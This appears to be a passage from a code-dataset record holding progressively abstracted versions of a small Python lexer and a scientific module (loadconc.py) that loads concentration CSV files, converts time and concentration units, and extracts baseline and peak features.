token.addToList()\n\n def advance(self):\n self.item = self.items[self.index]\n self.index += 1\n\n def displayAll(self):\n removeEmptyStrings(tokenList)\n return tokenList\n\n def addToString(self):\n self.stringList += self.item\n\n def getString(self):\n temp = self.stringList\n self.stringList = ''\n return temp\n\n\nclass Error:\n\n def __init__(self, error, detail, code, line, fileName):\n self.error = error\n self.detail = detail\n self.code = code\n self.line = line\n self.file = fileName\n\n def display(self):\n return f\"\"\"File \"{self.file}\", line {str(self.line)}\n {self.code}\n{self.error}: {self.detail}\"\"\"\n\n\n<function token>\n", "<function token>\n<function token>\n<assignment token>\n\n\nclass Token:\n\n def __init__(self, token, value):\n self.token = token\n self.value = value\n\n def display(self):\n if self.token == 'ERROR':\n error = Error('UnknownError', 'cannot identify character', str(\n self.value), 1,\n 'C:\\\\Users\\\\tanne\\\\My_Codes\\\\Python\\\\ease_language\\\\SAMPLE.py')\n print(error.display())\n else:\n if self.token == 'STRING' or self.token == 'INT':\n pair = f'{self.token}: {self.value}'\n else:\n pair = f'{self.token}'\n return pair\n <function token>\n\n\nclass Lexer:\n\n def __init__(self, items):\n self.items = split(items)\n self.index = 0\n self.item = ''\n self.stringOn = False\n self.stringList = ''\n self.intOn = False\n\n def identify(self):\n ints = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\n tok = ''\n val = self.item\n if '\"' == self.item or \"'\" == self.item:\n if self.stringOn:\n self.stringOn = False\n tok = 'STRING'\n val = self.getString()\n else:\n self.stringOn = True\n elif self.stringOn:\n self.addToString()\n elif self.item in ' \\n':\n pass\n elif '+' == self.item:\n tok = 'PLUS'\n elif '-' == self.item:\n tok = 'MINUS'\n elif '*' == self.item:\n tok = 'MUL'\n elif '/' == self.item:\n tok = 'DIV'\n elif '(' == self.item:\n tok = 'LPAREN'\n elif ')' == self.item:\n tok = 'RPAREN'\n elif self.item in ints:\n tok = 'INT'\n else:\n tok = 'ERROR'\n token = Token(tok, val)\n return token.addToList()\n\n def advance(self):\n self.item = self.items[self.index]\n self.index += 1\n\n def displayAll(self):\n removeEmptyStrings(tokenList)\n return tokenList\n\n def addToString(self):\n self.stringList += self.item\n\n def getString(self):\n temp = self.stringList\n self.stringList = ''\n return temp\n\n\nclass Error:\n\n def __init__(self, error, detail, code, line, fileName):\n self.error = error\n self.detail = detail\n self.code = code\n self.line = line\n self.file = fileName\n\n def display(self):\n return f\"\"\"File \"{self.file}\", line {str(self.line)}\n {self.code}\n{self.error}: {self.detail}\"\"\"\n\n\n<function token>\n", "<function token>\n<function token>\n<assignment token>\n\n\nclass Token:\n\n def __init__(self, token, value):\n self.token = token\n self.value = value\n <function token>\n <function token>\n\n\nclass Lexer:\n\n def __init__(self, items):\n self.items = split(items)\n self.index = 0\n self.item = ''\n self.stringOn = False\n self.stringList = ''\n self.intOn = False\n\n def identify(self):\n ints = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\n tok = ''\n val = self.item\n if '\"' == self.item or \"'\" == self.item:\n if self.stringOn:\n self.stringOn = False\n tok = 'STRING'\n val = self.getString()\n else:\n self.stringOn = True\n elif self.stringOn:\n self.addToString()\n elif self.item in ' \\n':\n pass\n elif '+' == self.item:\n tok = 'PLUS'\n elif '-' == self.item:\n tok = 'MINUS'\n elif '*' == self.item:\n tok = 'MUL'\n elif '/' == self.item:\n tok = 'DIV'\n elif '(' == self.item:\n tok = 'LPAREN'\n elif ')' == self.item:\n tok = 'RPAREN'\n elif self.item in ints:\n tok = 'INT'\n else:\n tok = 'ERROR'\n token = Token(tok, val)\n return token.addToList()\n\n def advance(self):\n self.item = self.items[self.index]\n self.index += 1\n\n def displayAll(self):\n removeEmptyStrings(tokenList)\n return tokenList\n\n def addToString(self):\n self.stringList += self.item\n\n def getString(self):\n temp = self.stringList\n self.stringList = ''\n return temp\n\n\nclass Error:\n\n def __init__(self, error, detail, code, line, fileName):\n self.error = error\n self.detail = detail\n self.code = code\n self.line = line\n self.file = fileName\n\n def display(self):\n return f\"\"\"File \"{self.file}\", line {str(self.line)}\n {self.code}\n{self.error}: {self.detail}\"\"\"\n\n\n<function token>\n", "<function token>\n<function token>\n<assignment token>\n\n\nclass Token:\n <function token>\n <function token>\n <function token>\n\n\nclass Lexer:\n\n def __init__(self, items):\n self.items = split(items)\n self.index = 0\n self.item = ''\n self.stringOn = False\n self.stringList = ''\n self.intOn = False\n\n def identify(self):\n ints = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\n tok = ''\n val = self.item\n if '\"' == self.item or \"'\" == self.item:\n if self.stringOn:\n self.stringOn = False\n tok = 'STRING'\n val = self.getString()\n else:\n self.stringOn = True\n elif self.stringOn:\n self.addToString()\n elif self.item in ' \\n':\n pass\n elif '+' == self.item:\n tok = 'PLUS'\n elif '-' == self.item:\n tok = 'MINUS'\n elif '*' == self.item:\n tok = 'MUL'\n elif '/' == self.item:\n tok = 'DIV'\n elif '(' == self.item:\n tok = 'LPAREN'\n elif ')' == self.item:\n tok = 'RPAREN'\n elif self.item in ints:\n tok = 'INT'\n else:\n tok = 'ERROR'\n token = Token(tok, val)\n return token.addToList()\n\n def advance(self):\n self.item = self.items[self.index]\n self.index += 1\n\n def displayAll(self):\n removeEmptyStrings(tokenList)\n return tokenList\n\n def addToString(self):\n self.stringList += self.item\n\n def getString(self):\n temp = self.stringList\n self.stringList = ''\n return temp\n\n\nclass Error:\n\n def __init__(self, error, detail, code, line, fileName):\n self.error = error\n self.detail = detail\n self.code = code\n self.line = line\n self.file = fileName\n\n def display(self):\n return f\"\"\"File \"{self.file}\", line {str(self.line)}\n {self.code}\n{self.error}: {self.detail}\"\"\"\n\n\n<function token>\n", "<function token>\n<function token>\n<assignment token>\n<class token>\n\n\nclass Lexer:\n\n def __init__(self, items):\n self.items = split(items)\n self.index = 0\n self.item = ''\n self.stringOn = False\n self.stringList = ''\n self.intOn = False\n\n def identify(self):\n ints = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\n tok = ''\n val = self.item\n if '\"' == self.item or \"'\" == self.item:\n if self.stringOn:\n self.stringOn = False\n tok = 'STRING'\n val = self.getString()\n else:\n self.stringOn = True\n elif self.stringOn:\n self.addToString()\n elif self.item in ' \\n':\n pass\n elif '+' == self.item:\n tok = 'PLUS'\n elif '-' == self.item:\n tok = 'MINUS'\n elif '*' == self.item:\n tok = 'MUL'\n elif '/' == self.item:\n tok = 'DIV'\n elif '(' == self.item:\n tok = 'LPAREN'\n elif ')' == self.item:\n tok = 'RPAREN'\n elif self.item in ints:\n tok = 'INT'\n else:\n tok = 'ERROR'\n token = Token(tok, val)\n return token.addToList()\n\n def advance(self):\n self.item = self.items[self.index]\n self.index += 1\n\n def displayAll(self):\n removeEmptyStrings(tokenList)\n return tokenList\n\n def addToString(self):\n self.stringList += self.item\n\n def getString(self):\n temp = self.stringList\n self.stringList = ''\n return temp\n\n\nclass Error:\n\n def __init__(self, error, detail, code, line, fileName):\n self.error = error\n self.detail = detail\n self.code = code\n self.line = line\n self.file = fileName\n\n def display(self):\n return f\"\"\"File \"{self.file}\", line {str(self.line)}\n {self.code}\n{self.error}: {self.detail}\"\"\"\n\n\n<function token>\n", "<function token>\n<function token>\n<assignment token>\n<class token>\n\n\nclass Lexer:\n <function token>\n\n def identify(self):\n ints = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\n tok = ''\n val = self.item\n if '\"' == self.item or \"'\" == self.item:\n if self.stringOn:\n self.stringOn = False\n tok = 'STRING'\n val = self.getString()\n else:\n self.stringOn = True\n elif self.stringOn:\n self.addToString()\n elif self.item in ' \\n':\n pass\n elif '+' == self.item:\n tok = 'PLUS'\n elif '-' == self.item:\n tok = 'MINUS'\n elif '*' == self.item:\n tok = 'MUL'\n elif '/' == self.item:\n tok = 'DIV'\n elif '(' == self.item:\n tok = 'LPAREN'\n elif ')' == self.item:\n tok = 'RPAREN'\n elif self.item in ints:\n tok = 'INT'\n else:\n tok = 'ERROR'\n token = Token(tok, val)\n return token.addToList()\n\n def advance(self):\n self.item = self.items[self.index]\n self.index += 1\n\n def displayAll(self):\n removeEmptyStrings(tokenList)\n return tokenList\n\n def addToString(self):\n self.stringList += self.item\n\n def getString(self):\n temp = self.stringList\n self.stringList = ''\n return temp\n\n\nclass Error:\n\n def __init__(self, error, detail, code, line, fileName):\n self.error = error\n self.detail = detail\n self.code = code\n self.line = line\n self.file = fileName\n\n def display(self):\n return f\"\"\"File \"{self.file}\", line {str(self.line)}\n {self.code}\n{self.error}: {self.detail}\"\"\"\n\n\n<function token>\n", "<function token>\n<function token>\n<assignment token>\n<class token>\n\n\nclass Lexer:\n <function token>\n\n def identify(self):\n ints = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\n tok = ''\n val = self.item\n if '\"' == self.item or \"'\" == self.item:\n if self.stringOn:\n self.stringOn = False\n tok = 'STRING'\n val = self.getString()\n else:\n self.stringOn = True\n elif self.stringOn:\n self.addToString()\n elif self.item in ' \\n':\n pass\n elif '+' == self.item:\n tok = 'PLUS'\n elif '-' == self.item:\n tok = 'MINUS'\n elif '*' == self.item:\n tok = 'MUL'\n elif '/' == self.item:\n tok = 'DIV'\n elif '(' == self.item:\n tok = 'LPAREN'\n elif ')' == self.item:\n tok = 'RPAREN'\n elif self.item in ints:\n tok = 'INT'\n else:\n tok = 'ERROR'\n token = Token(tok, val)\n return token.addToList()\n\n def advance(self):\n self.item = self.items[self.index]\n self.index += 1\n\n def displayAll(self):\n removeEmptyStrings(tokenList)\n return tokenList\n <function token>\n\n def getString(self):\n temp = self.stringList\n self.stringList = ''\n return temp\n\n\nclass Error:\n\n def __init__(self, error, detail, code, line, fileName):\n self.error = error\n self.detail = detail\n self.code = code\n self.line = line\n self.file = fileName\n\n def display(self):\n return f\"\"\"File \"{self.file}\", line {str(self.line)}\n {self.code}\n{self.error}: {self.detail}\"\"\"\n\n\n<function token>\n", "<function token>\n<function token>\n<assignment token>\n<class token>\n\n\nclass Lexer:\n <function token>\n\n def identify(self):\n ints = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\n tok = ''\n val = self.item\n if '\"' == self.item or \"'\" == self.item:\n if self.stringOn:\n self.stringOn = False\n tok = 'STRING'\n val = self.getString()\n else:\n self.stringOn = True\n elif self.stringOn:\n self.addToString()\n elif self.item in ' \\n':\n pass\n elif '+' == self.item:\n tok = 'PLUS'\n elif '-' == self.item:\n tok = 'MINUS'\n elif '*' == self.item:\n tok = 'MUL'\n elif '/' == self.item:\n tok = 'DIV'\n elif '(' == self.item:\n tok = 'LPAREN'\n elif ')' == self.item:\n tok = 'RPAREN'\n elif self.item in ints:\n tok = 'INT'\n else:\n tok = 'ERROR'\n token = Token(tok, val)\n return token.addToList()\n <function token>\n\n def displayAll(self):\n removeEmptyStrings(tokenList)\n return tokenList\n <function token>\n\n def getString(self):\n temp = self.stringList\n self.stringList = ''\n return temp\n\n\nclass Error:\n\n def __init__(self, error, detail, code, line, fileName):\n self.error = error\n self.detail = detail\n self.code = code\n self.line = line\n self.file = fileName\n\n def display(self):\n return f\"\"\"File \"{self.file}\", line {str(self.line)}\n {self.code}\n{self.error}: {self.detail}\"\"\"\n\n\n<function token>\n", "<function token>\n<function token>\n<assignment token>\n<class token>\n\n\nclass Lexer:\n <function token>\n\n def identify(self):\n ints = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\n tok = ''\n val = self.item\n if '\"' == self.item or \"'\" == self.item:\n if self.stringOn:\n self.stringOn = False\n tok = 'STRING'\n val = self.getString()\n else:\n self.stringOn = True\n elif self.stringOn:\n self.addToString()\n elif self.item in ' \\n':\n pass\n elif '+' == self.item:\n tok = 'PLUS'\n elif '-' == self.item:\n tok = 'MINUS'\n elif '*' == self.item:\n tok = 'MUL'\n elif '/' == self.item:\n tok = 'DIV'\n elif '(' == self.item:\n tok = 'LPAREN'\n elif ')' == self.item:\n tok = 'RPAREN'\n elif self.item in ints:\n tok = 'INT'\n else:\n tok = 'ERROR'\n token = Token(tok, val)\n return token.addToList()\n <function token>\n\n def displayAll(self):\n removeEmptyStrings(tokenList)\n return tokenList\n <function token>\n <function token>\n\n\nclass Error:\n\n def __init__(self, error, detail, code, line, fileName):\n self.error = error\n self.detail = detail\n self.code = code\n self.line = line\n self.file = fileName\n\n def display(self):\n return f\"\"\"File \"{self.file}\", line {str(self.line)}\n {self.code}\n{self.error}: {self.detail}\"\"\"\n\n\n<function token>\n", "<function token>\n<function token>\n<assignment token>\n<class token>\n\n\nclass Lexer:\n <function token>\n <function token>\n <function token>\n\n def displayAll(self):\n removeEmptyStrings(tokenList)\n return tokenList\n <function token>\n <function token>\n\n\nclass Error:\n\n def __init__(self, error, detail, code, line, fileName):\n self.error = error\n self.detail = detail\n self.code = code\n self.line = line\n self.file = fileName\n\n def display(self):\n return f\"\"\"File \"{self.file}\", line {str(self.line)}\n {self.code}\n{self.error}: {self.detail}\"\"\"\n\n\n<function token>\n", "<function token>\n<function token>\n<assignment token>\n<class token>\n\n\nclass Lexer:\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass Error:\n\n def __init__(self, error, detail, code, line, fileName):\n self.error = error\n self.detail = detail\n self.code = code\n self.line = line\n self.file = fileName\n\n def display(self):\n return f\"\"\"File \"{self.file}\", line {str(self.line)}\n {self.code}\n{self.error}: {self.detail}\"\"\"\n\n\n<function token>\n", "<function token>\n<function token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Error:\n\n def __init__(self, error, detail, code, line, fileName):\n self.error = error\n self.detail = detail\n self.code = code\n self.line = line\n self.file = fileName\n\n def display(self):\n return f\"\"\"File \"{self.file}\", line {str(self.line)}\n {self.code}\n{self.error}: {self.detail}\"\"\"\n\n\n<function token>\n", "<function token>\n<function token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Error:\n <function token>\n\n def display(self):\n return f\"\"\"File \"{self.file}\", line {str(self.line)}\n {self.code}\n{self.error}: {self.detail}\"\"\"\n\n\n<function token>\n", "<function token>\n<function token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Error:\n <function token>\n <function token>\n\n\n<function token>\n", "<function token>\n<function token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<function token>\n" ]
false
498
20649decd3ff21b1aa814d0a04180195cac3629b
#loadconc.py - possibly these classes will be added to ajustador/loader.py when ready # -*- coding:utf-8 -*- from __future__ import print_function, division import numpy as np from ajustador import xml,nrd_fitness import glob import os import operator msec_per_sec=1000 nM_per_uM=1000 nM_per_mM=1e6 class trace(object): def __init__(self, molname, x, y,stim_time): molname_parts=molname.split() self.molname=molname_parts[0] self.norm=False if len(molname_parts)>1: self.units=molname_parts[1] if '%' in self.units: self.norm=True if len(molname_parts)>2: #strip out any trailing non-numeric characteris self.scale=int(''.join([c for c in molname_parts[2] if c.isdigit()])) else: self.scale=1 else: self.units='nM' self.scale=1 if self.units.startswith('m') or self.units.startswith('(m'): yvalue=y*nM_per_mM elif self.units.startswith('u') or self.units.startswith('(u'): yvalue=y*nM_per_uM else: #assume nM (or percent if fret) yvalue=y self.wave=np.rec.fromarrays((x, yvalue), names='x,y') #calculate features: baseline, peaktime, peak value start_index,basal=nrd_fitness.basal(x,yvalue,stim_time) self.exp_basal=basal pt,peak=nrd_fitness.peak(x,yvalue,start_index) self.features={'basal':basal, 'stim_pt': start_index,'peaktime':pt,'peakval': peak} class CSV_conc(object): """Load a series of concentration measurements from a CSV file Each CSV file contains data for one or more molecules: Time time_units, mol_name1 (nM), [mol_name2] read time_units (sec,msec,min allowed) and convert to msec """ def __init__(self, fname,rootname,stim_time,features=[]): import pandas as pd model_num=xml.modelname_to_param(fname,rootname) self.name=os.path.basename(fname)[0:os.path.basename(fname).rfind('.')] self.injection=model_num self.features=features csv = pd.read_csv(fname, index_col=0) x_head=csv.index.name.split() if len(x_head)>1: time_units=x_head[-1] if time_units.startswith('sec') or time_units.startswith('(sec'): time_factor=msec_per_sec elif time_units.startswith('min') or time_units.startswith('(min'): time_factor=msec_per_sec*60 #sec_per_min else: time_factor=1 print('x column header: {}, time_units: {}, conversion factor: {}'.format(x_head,time_units,time_factor)) else: time_factor=1 x = csv.index.values*time_factor #time values #may want to read units of y value, e.g. allow uM or mM and convert to nM self.waves = {col.split()[0]:trace(col, x, csv[col].values,stim_time) for col in csv.columns} class CSV_conc_set(object): #set of files, each one a CSV_conc object, differing in stim protocol def __init__(self,rootname,stim_time=0,features=[]): self.stim_time=stim_time*msec_per_sec self.features=features if os.path.isdir(rootname): #if directory, look for all csv files dirname = rootname filenames=glob.glob(rootname+'/*.csv') self.name=rootname else: if rootname.endswith('.csv'): #case with single filename specified filenames=[rootname] else: #case with a set of filenames specified, with common "prefix" + variable "suffix" filenames=glob.glob(rootname+'*.csv') dirname = os.path.dirname(rootname) self.name=os.path.basename(rootname) print('CSV_conc_set:',self.name, 'dir',dirname,'files',filenames,'stim_start (ms)', self.stim_time) if len(filenames)==0: print('**************** CSV_conc_set: NO FILES FOUND **************************') csv_list=[CSV_conc(fn,rootname,self.stim_time,features) for fn in filenames] csv_list.sort(key=operator.attrgetter('injection')) self.data=csv_list
[ "#loadconc.py - possibly these classes will be added to ajustador/loader.py when ready\n# -*- coding:utf-8 -*-\n\nfrom __future__ import print_function, division\nimport numpy as np\nfrom ajustador import xml,nrd_fitness\nimport glob \nimport os\nimport operator\n\nmsec_per_sec=1000\nnM_per_uM=1000\nnM_per_mM=1e6\n\nclass trace(object):\n def __init__(self, molname, x, y,stim_time):\n molname_parts=molname.split()\n self.molname=molname_parts[0]\n self.norm=False\n if len(molname_parts)>1:\n self.units=molname_parts[1]\n if '%' in self.units:\n self.norm=True\n if len(molname_parts)>2:\n #strip out any trailing non-numeric characteris\n self.scale=int(''.join([c for c in molname_parts[2] if c.isdigit()]))\n else:\n self.scale=1\n else:\n self.units='nM'\n self.scale=1\n if self.units.startswith('m') or self.units.startswith('(m'):\n yvalue=y*nM_per_mM\n elif self.units.startswith('u') or self.units.startswith('(u'):\n yvalue=y*nM_per_uM\n else:\n #assume nM (or percent if fret)\n yvalue=y\n self.wave=np.rec.fromarrays((x, yvalue), names='x,y')\n #calculate features: baseline, peaktime, peak value\n start_index,basal=nrd_fitness.basal(x,yvalue,stim_time)\n self.exp_basal=basal\n pt,peak=nrd_fitness.peak(x,yvalue,start_index)\n self.features={'basal':basal, 'stim_pt': start_index,'peaktime':pt,'peakval': peak}\n\nclass CSV_conc(object):\n \"\"\"Load a series of concentration measurements from a CSV file\n Each CSV file contains data for one or more molecules:\n Time time_units, mol_name1 (nM), [mol_name2]\n read time_units (sec,msec,min allowed) and convert to msec\n \"\"\"\n def __init__(self, fname,rootname,stim_time,features=[]):\n import pandas as pd\n model_num=xml.modelname_to_param(fname,rootname)\n self.name=os.path.basename(fname)[0:os.path.basename(fname).rfind('.')]\n self.injection=model_num\n self.features=features\n \n csv = pd.read_csv(fname, index_col=0)\n x_head=csv.index.name.split()\n if len(x_head)>1:\n time_units=x_head[-1]\n if time_units.startswith('sec') or time_units.startswith('(sec'):\n time_factor=msec_per_sec\n elif time_units.startswith('min') or time_units.startswith('(min'):\n time_factor=msec_per_sec*60 #sec_per_min\n else:\n time_factor=1\n print('x column header: {}, time_units: {}, conversion factor: {}'.format(x_head,time_units,time_factor))\n else:\n time_factor=1\n x = csv.index.values*time_factor #time values\n #may want to read units of y value, e.g. allow uM or mM and convert to nM\n self.waves = {col.split()[0]:trace(col, x, csv[col].values,stim_time) for col in csv.columns}\n\nclass CSV_conc_set(object):\n #set of files, each one a CSV_conc object, differing in stim protocol\n def __init__(self,rootname,stim_time=0,features=[]):\n self.stim_time=stim_time*msec_per_sec\n self.features=features\n if os.path.isdir(rootname): #if directory, look for all csv files\n dirname = rootname\n filenames=glob.glob(rootname+'/*.csv')\n self.name=rootname\n else:\n if rootname.endswith('.csv'):\n #case with single filename specified\n filenames=[rootname]\n else:\n #case with a set of filenames specified, with common \"prefix\" + variable \"suffix\"\n filenames=glob.glob(rootname+'*.csv')\n dirname = os.path.dirname(rootname)\n self.name=os.path.basename(rootname)\n print('CSV_conc_set:',self.name, 'dir',dirname,'files',filenames,'stim_start (ms)', self.stim_time)\n if len(filenames)==0:\n print('**************** CSV_conc_set: NO FILES FOUND **************************')\n \n csv_list=[CSV_conc(fn,rootname,self.stim_time,features) for fn in filenames]\n csv_list.sort(key=operator.attrgetter('injection'))\n self.data=csv_list\n\n\n", "from __future__ import print_function, division\nimport numpy as np\nfrom ajustador import xml, nrd_fitness\nimport glob\nimport os\nimport operator\nmsec_per_sec = 1000\nnM_per_uM = 1000\nnM_per_mM = 1000000.0\n\n\nclass trace(object):\n\n def __init__(self, molname, x, y, stim_time):\n molname_parts = molname.split()\n self.molname = molname_parts[0]\n self.norm = False\n if len(molname_parts) > 1:\n self.units = molname_parts[1]\n if '%' in self.units:\n self.norm = True\n if len(molname_parts) > 2:\n self.scale = int(''.join([c for c in molname_parts[2] if c.\n isdigit()]))\n else:\n self.scale = 1\n else:\n self.units = 'nM'\n self.scale = 1\n if self.units.startswith('m') or self.units.startswith('(m'):\n yvalue = y * nM_per_mM\n elif self.units.startswith('u') or self.units.startswith('(u'):\n yvalue = y * nM_per_uM\n else:\n yvalue = y\n self.wave = np.rec.fromarrays((x, yvalue), names='x,y')\n start_index, basal = nrd_fitness.basal(x, yvalue, stim_time)\n self.exp_basal = basal\n pt, peak = nrd_fitness.peak(x, yvalue, start_index)\n self.features = {'basal': basal, 'stim_pt': start_index, 'peaktime':\n pt, 'peakval': peak}\n\n\nclass CSV_conc(object):\n \"\"\"Load a series of concentration measurements from a CSV file\n Each CSV file contains data for one or more molecules:\n Time time_units, mol_name1 (nM), [mol_name2]\n read time_units (sec,msec,min allowed) and convert to msec\n \"\"\"\n\n def __init__(self, fname, rootname, stim_time, features=[]):\n import pandas as pd\n model_num = xml.modelname_to_param(fname, rootname)\n self.name = os.path.basename(fname)[0:os.path.basename(fname).rfind\n ('.')]\n self.injection = model_num\n self.features = features\n csv = pd.read_csv(fname, index_col=0)\n x_head = csv.index.name.split()\n if len(x_head) > 1:\n time_units = x_head[-1]\n if time_units.startswith('sec') or time_units.startswith('(sec'):\n time_factor = msec_per_sec\n elif time_units.startswith('min') or time_units.startswith('(min'):\n time_factor = msec_per_sec * 60\n else:\n time_factor = 1\n print('x column header: {}, time_units: {}, conversion factor: {}'\n .format(x_head, time_units, time_factor))\n else:\n time_factor = 1\n x = csv.index.values * time_factor\n self.waves = {col.split()[0]: trace(col, x, csv[col].values,\n stim_time) for col in csv.columns}\n\n\nclass CSV_conc_set(object):\n\n def __init__(self, rootname, stim_time=0, features=[]):\n self.stim_time = stim_time * msec_per_sec\n self.features = features\n if os.path.isdir(rootname):\n dirname = rootname\n filenames = glob.glob(rootname + '/*.csv')\n self.name = rootname\n else:\n if rootname.endswith('.csv'):\n filenames = [rootname]\n else:\n filenames = glob.glob(rootname + '*.csv')\n dirname = os.path.dirname(rootname)\n self.name = os.path.basename(rootname)\n print('CSV_conc_set:', self.name, 'dir', dirname, 'files',\n filenames, 'stim_start (ms)', self.stim_time)\n if len(filenames) == 0:\n print(\n '**************** CSV_conc_set: NO FILES FOUND **************************'\n )\n csv_list = [CSV_conc(fn, rootname, self.stim_time, features) for fn in\n filenames]\n csv_list.sort(key=operator.attrgetter('injection'))\n self.data = csv_list\n", "<import token>\nmsec_per_sec = 1000\nnM_per_uM = 1000\nnM_per_mM = 1000000.0\n\n\nclass trace(object):\n\n def __init__(self, molname, x, y, stim_time):\n molname_parts = molname.split()\n self.molname = molname_parts[0]\n self.norm = False\n if len(molname_parts) > 1:\n self.units = molname_parts[1]\n if '%' in self.units:\n self.norm = True\n if len(molname_parts) > 2:\n self.scale = int(''.join([c for c in molname_parts[2] if c.\n isdigit()]))\n else:\n self.scale = 1\n else:\n self.units = 'nM'\n self.scale = 1\n if self.units.startswith('m') or self.units.startswith('(m'):\n yvalue = y * nM_per_mM\n elif self.units.startswith('u') or self.units.startswith('(u'):\n yvalue = y * nM_per_uM\n else:\n yvalue = y\n self.wave = np.rec.fromarrays((x, yvalue), names='x,y')\n start_index, basal = nrd_fitness.basal(x, yvalue, stim_time)\n self.exp_basal = basal\n pt, peak = nrd_fitness.peak(x, yvalue, start_index)\n self.features = {'basal': basal, 'stim_pt': start_index, 'peaktime':\n pt, 'peakval': peak}\n\n\nclass CSV_conc(object):\n \"\"\"Load a series of concentration measurements from a CSV file\n Each CSV file contains data for one or more molecules:\n Time time_units, mol_name1 (nM), [mol_name2]\n read time_units (sec,msec,min allowed) and convert to msec\n \"\"\"\n\n def __init__(self, fname, rootname, stim_time, features=[]):\n import pandas as pd\n model_num = xml.modelname_to_param(fname, rootname)\n self.name = os.path.basename(fname)[0:os.path.basename(fname).rfind\n ('.')]\n self.injection = model_num\n self.features = features\n csv = pd.read_csv(fname, index_col=0)\n x_head = csv.index.name.split()\n if len(x_head) > 1:\n time_units = x_head[-1]\n if time_units.startswith('sec') or time_units.startswith('(sec'):\n time_factor = msec_per_sec\n elif time_units.startswith('min') or time_units.startswith('(min'):\n time_factor = msec_per_sec * 60\n else:\n time_factor = 1\n print('x column header: {}, time_units: {}, conversion factor: {}'\n .format(x_head, time_units, time_factor))\n else:\n time_factor = 1\n x = csv.index.values * time_factor\n self.waves = {col.split()[0]: trace(col, x, csv[col].values,\n stim_time) for col in csv.columns}\n\n\nclass CSV_conc_set(object):\n\n def __init__(self, rootname, stim_time=0, features=[]):\n self.stim_time = stim_time * msec_per_sec\n self.features = features\n if os.path.isdir(rootname):\n dirname = rootname\n filenames = glob.glob(rootname + '/*.csv')\n self.name = rootname\n else:\n if rootname.endswith('.csv'):\n filenames = [rootname]\n else:\n filenames = glob.glob(rootname + '*.csv')\n dirname = os.path.dirname(rootname)\n self.name = os.path.basename(rootname)\n print('CSV_conc_set:', self.name, 'dir', dirname, 'files',\n filenames, 'stim_start (ms)', self.stim_time)\n if len(filenames) == 0:\n print(\n '**************** CSV_conc_set: NO FILES FOUND **************************'\n )\n csv_list = [CSV_conc(fn, rootname, self.stim_time, features) for fn in\n filenames]\n csv_list.sort(key=operator.attrgetter('injection'))\n self.data = csv_list\n", "<import token>\n<assignment token>\n\n\nclass trace(object):\n\n def __init__(self, molname, x, y, stim_time):\n molname_parts = molname.split()\n self.molname = molname_parts[0]\n self.norm = False\n if len(molname_parts) > 1:\n self.units = molname_parts[1]\n if '%' in self.units:\n self.norm = True\n if len(molname_parts) > 2:\n self.scale = int(''.join([c for c in molname_parts[2] if c.\n isdigit()]))\n else:\n self.scale = 1\n else:\n self.units = 'nM'\n self.scale = 1\n if self.units.startswith('m') or self.units.startswith('(m'):\n yvalue = y * nM_per_mM\n elif self.units.startswith('u') or self.units.startswith('(u'):\n yvalue = y * nM_per_uM\n else:\n yvalue = y\n self.wave = np.rec.fromarrays((x, yvalue), names='x,y')\n start_index, basal = nrd_fitness.basal(x, yvalue, stim_time)\n self.exp_basal = basal\n pt, peak = nrd_fitness.peak(x, yvalue, start_index)\n self.features = {'basal': basal, 'stim_pt': start_index, 'peaktime':\n pt, 'peakval': peak}\n\n\nclass CSV_conc(object):\n \"\"\"Load a series of concentration measurements from a CSV file\n Each CSV file contains data for one or more molecules:\n Time time_units, mol_name1 (nM), [mol_name2]\n read time_units (sec,msec,min allowed) and convert to msec\n \"\"\"\n\n def __init__(self, fname, rootname, stim_time, features=[]):\n import pandas as pd\n model_num = xml.modelname_to_param(fname, rootname)\n self.name = os.path.basename(fname)[0:os.path.basename(fname).rfind\n ('.')]\n self.injection = model_num\n self.features = features\n csv = pd.read_csv(fname, index_col=0)\n x_head = csv.index.name.split()\n if len(x_head) > 1:\n time_units = x_head[-1]\n if time_units.startswith('sec') or time_units.startswith('(sec'):\n time_factor = msec_per_sec\n elif time_units.startswith('min') or time_units.startswith('(min'):\n time_factor = msec_per_sec * 60\n else:\n time_factor = 1\n print('x column header: {}, time_units: {}, conversion factor: {}'\n .format(x_head, time_units, time_factor))\n else:\n time_factor = 1\n x = csv.index.values * time_factor\n self.waves = {col.split()[0]: trace(col, x, csv[col].values,\n stim_time) for col in csv.columns}\n\n\nclass CSV_conc_set(object):\n\n def __init__(self, rootname, stim_time=0, features=[]):\n self.stim_time = stim_time * msec_per_sec\n self.features = features\n if os.path.isdir(rootname):\n dirname = rootname\n filenames = glob.glob(rootname + '/*.csv')\n self.name = rootname\n else:\n if rootname.endswith('.csv'):\n filenames = [rootname]\n else:\n filenames = glob.glob(rootname + '*.csv')\n dirname = os.path.dirname(rootname)\n self.name = os.path.basename(rootname)\n print('CSV_conc_set:', self.name, 'dir', dirname, 'files',\n filenames, 'stim_start (ms)', self.stim_time)\n if len(filenames) == 0:\n print(\n '**************** CSV_conc_set: NO FILES FOUND **************************'\n )\n csv_list = [CSV_conc(fn, rootname, self.stim_time, features) for fn in\n filenames]\n csv_list.sort(key=operator.attrgetter('injection'))\n self.data = csv_list\n", "<import token>\n<assignment token>\n\n\nclass trace(object):\n <function token>\n\n\nclass CSV_conc(object):\n \"\"\"Load a series of concentration measurements from a CSV file\n Each CSV file contains data for one or more molecules:\n Time time_units, mol_name1 (nM), [mol_name2]\n read time_units (sec,msec,min allowed) and convert to msec\n \"\"\"\n\n def __init__(self, fname, rootname, stim_time, features=[]):\n import pandas as pd\n model_num = xml.modelname_to_param(fname, rootname)\n self.name = os.path.basename(fname)[0:os.path.basename(fname).rfind\n ('.')]\n self.injection = model_num\n self.features = features\n csv = pd.read_csv(fname, index_col=0)\n x_head = csv.index.name.split()\n if len(x_head) > 1:\n time_units = x_head[-1]\n if time_units.startswith('sec') or time_units.startswith('(sec'):\n time_factor = msec_per_sec\n elif time_units.startswith('min') or 